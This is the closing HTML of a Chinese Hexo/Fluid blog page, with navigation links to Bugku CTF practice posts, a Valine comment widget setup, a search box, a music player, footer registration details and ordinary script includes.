                <div class="post-prevnext">
                  <article class="post-prev col-6">
                    
                    
                      <a href="/archives/bugku%E7%BB%83%E9%A2%98%E8%AE%B0%E5%BD%952%20timer%5B%E9%98%BF%E9%87%8Cctf%5D&amp;%E9%80%86%E5%90%91%E5%85%A5%E9%97%A8.html">
                        <i class="iconfont icon-arrowleft"></i>
                        <span class="hidden-mobile">bugku练题记录2 timer[阿里ctf]&逆向入门</span>
                        <span class="visible-mobile">上一篇</span>
                      </a>
                    
                  </article>
                  <article class="post-next col-6">
                    
                    
                      <a href="/archives/bugku%E7%BB%83%E9%A2%98%E8%AE%B0%E5%BD%951-signin&amp;Easy_Re.html">
                        <span class="hidden-mobile">bugku练题记录1-signin&Easy_Re</span>
                        <span class="visible-mobile">下一篇</span>
                        <i class="iconfont icon-arrowright"></i>
                      </a>
                    
                  </article>
                </div>
              
            </div>

            
              <!-- Comments -->
              <article class="comments" id="comments" lazyload>
                
                  
                
                
  <div id="valine"></div>
  <script type="text/javascript">
    Fluid.utils.loadComments('#valine', function() {
      Fluid.utils.createScript('https://cdn.jsdelivr.net/gh/HCLonely/Valine@latest/dist/Valine.min.js', function() {
        var options = Object.assign(
          {"appId":"5INqyf5xMrWdsn0whn39qjsu-gzGzoHsz","appKey":"6UTAOxyJnjvDwHX3PJagKMg9","path":"window.location.pathname","placeholder":"输入QQ号我就能获取你的企鹅昵称和头像啦~","avatar":"retro","meta":["nick","mail","link"],"requiredFields":[],"pageSize":10,"lang":"zh-CN","highlight":false,"recordIP":false,"serverURLs":"","emojiCDN":null,"emojiMaps":null,"enableQQ":true,"tagMeta":["博主","小伙伴","访客"],"master":"3bbfd45c0631973d5196327805f62511","friends":["2012b2da9e0852350b42a9c21823f3cf","641f794b535aea2ebe2ad543ec35e2f8"]},
          {
            el: "#valine",
            path: window.location.pathname
          }
        )
        new Valine(options);
        Fluid.utils.waitElementVisible('#valine .vcontent', () => {
          Fluid.plugins.initFancyBox('#valine .vcontent img:not(.vemoji)');
        })
      });
    });
  </script>
  <noscript>Please enable JavaScript to view the comments</noscript>


              </article>
            
          </article>
        </div>
      </div>
    </div>
    
      <div class="d-none d-lg-block col-lg-2 toc-container" id="toc-ctn">
        <div id="toc">
  <p class="toc-header"><i class="iconfont icon-list"></i>&nbsp;目录</p>
  <div class="toc-body" id="toc-body"></div>
</div>

      </div>
    
  </div>
</div>

<!-- Custom -->


    

    
      <a id="scroll-top-button" aria-label="TOP" href="#" role="button">
        <i class="iconfont icon-arrowup" aria-hidden="true"></i>
      </a>
    

    
      <div class="modal fade" id="modalSearch" tabindex="-1" role="dialog" aria-labelledby="ModalLabel"
     aria-hidden="true">
  <div class="modal-dialog modal-dialog-scrollable modal-lg" role="document">
    <div class="modal-content">
      <div class="modal-header text-center">
        <h4 class="modal-title w-100 font-weight-bold">搜索</h4>
        <button type="button" id="local-search-close" class="close" data-dismiss="modal" aria-label="Close">
          <span aria-hidden="true">&times;</span>
        </button>
      </div>
      <div class="modal-body mx-3">
        <div class="md-form mb-5">
          <input type="text" id="local-search-input" class="form-control validate">
          <label data-error="x" data-success="v"
                 for="local-search-input">关键词</label>
        </div>
        <div class="list-group" id="local-search-result"></div>
      </div>
    </div>
  </div>
</div>
    

    
      <div class="col-lg-7 mx-auto nopadding-x-md">
        <div class="container custom mx-auto">
          <meting-js server="netease" type="playlist" id="5413938648" fixed="true" theme="#aa55ff"></meting-js>
        </div>
      </div>
    
  </main>

  <footer class="text-center mt-5 py-3">
  <div class="footer-content">
     <a href="https://hexo.io" target="_blank" rel="nofollow noopener"><span>使用Hexo框架</span></a> <i class="iconfont icon-love"></i> <a href="https://github.com/fluid-dev/hexo-theme-fluid" target="_blank" rel="nofollow noopener"><span>精品Fluid主题</span></a><br> <span id="timeDate">天数载入中</span><span id="times">...</span><br> 
  </div>
  
  <div class="statistics">
    
    

    
      
        <!-- LeanCloud 统计PV -->
        <span id="leancloud-site-pv-container" style="display: none">
            总访问量 
            <span id="leancloud-site-pv"></span>
             次
          </span>
      
      
        <!-- LeanCloud 统计UV -->
        <span id="leancloud-site-uv-container" style="display: none">
            总访客数 
            <span id="leancloud-site-uv"></span>
             人
          </span>
      

    
  </div>


  
  <!-- 备案信息 -->
  <div class="beian">
    <span>
      <a href="http://beian.miit.gov.cn/" target="_blank" rel="nofollow noopener">
        蜀ICP备2021029058号
      </a>
    </span>
    
      
        <span>
          <a
            href="http://www.beian.gov.cn/portal/registerSystemInfo?recordcode=51011202000479"
            rel="nofollow noopener"
            class="beian-police"
            target="_blank"
          >
            
              <span style="visibility: hidden; width: 0">|</span>
              <img src="/img/beian.png" srcset="/img/loading.gif" lazyload alt="police-icon"/>
            
            <span>川公网安备 51011202000479号</span>
          </a>
        </span>
      
    
  </div>


  
</footer>


  <!-- SCRIPTS -->
  
  <script  src="https://cdn.jsdelivr.net/npm/nprogress@0/nprogress.min.js" ></script>
  <link  rel="stylesheet" href="https://cdn.jsdelivr.net/npm/nprogress@0/nprogress.min.css" />

  <script>
    NProgress.configure({"showSpinner":false,"trickleSpeed":100})
    NProgress.start()
    window.addEventListener('load', function() {
      NProgress.done();
    })
  </script>


<script  src="https://cdn.jsdelivr.net/npm/jquery@3/dist/jquery.min.js" ></script>
<script  src="https://cdn.jsdelivr.net/npm/bootstrap@4/dist/js/bootstrap.min.js" ></script>
<script  src="/js/events.js" ></script>
<script  src="/js/plugins.js" ></script>

<!-- Plugins -->


  <script  src="/js/local-search.js" ></script>



  
    <script  src="/js/img-lazyload.js" ></script>
  



  



  
    <script  src="https://cdn.jsdelivr.net/npm/tocbot@4/dist/tocbot.min.js" ></script>
  
  
    <script  src="https://cdn.jsdelivr.net/npm/@fancyapps/fancybox@3/dist/jquery.fancybox.min.js" ></script>
  
  
    <script  src="https://cdn.jsdelivr.net/npm/anchor-js@4/anchor.min.js" ></script>
  
  
    <script defer src="https://cdn.jsdelivr.net/npm/clipboard@2/dist/clipboard.min.js" ></script>
  




  <script defer src="/js/leancloud.js" ></script>



  <script  src="https://cdn.jsdelivr.net/npm/typed.js@2/lib/typed.min.js" ></script>
  <script>
    (function (window, document) {
      var typing = Fluid.plugins.typing;
      var title = document.getElementById('subtitle').title;
      
      typing(title)
      
    })(window, document);
  </script>












  

  

  

  

  

  




  
<script src="//cdn.jsdelivr.net/npm/aplayer@1.10.0/dist/APlayer.min.js"></script>
<script src="//cdn.jsdelivr.net/npm/meting@2.0.1/dist/Meting.min.js"></script>
<script src="/xm_custom/custom.js"></script>



<!-- 主题的启动项 保持在最底部 -->
<script  src="/js/boot.js" ></script>


</body>
</html>
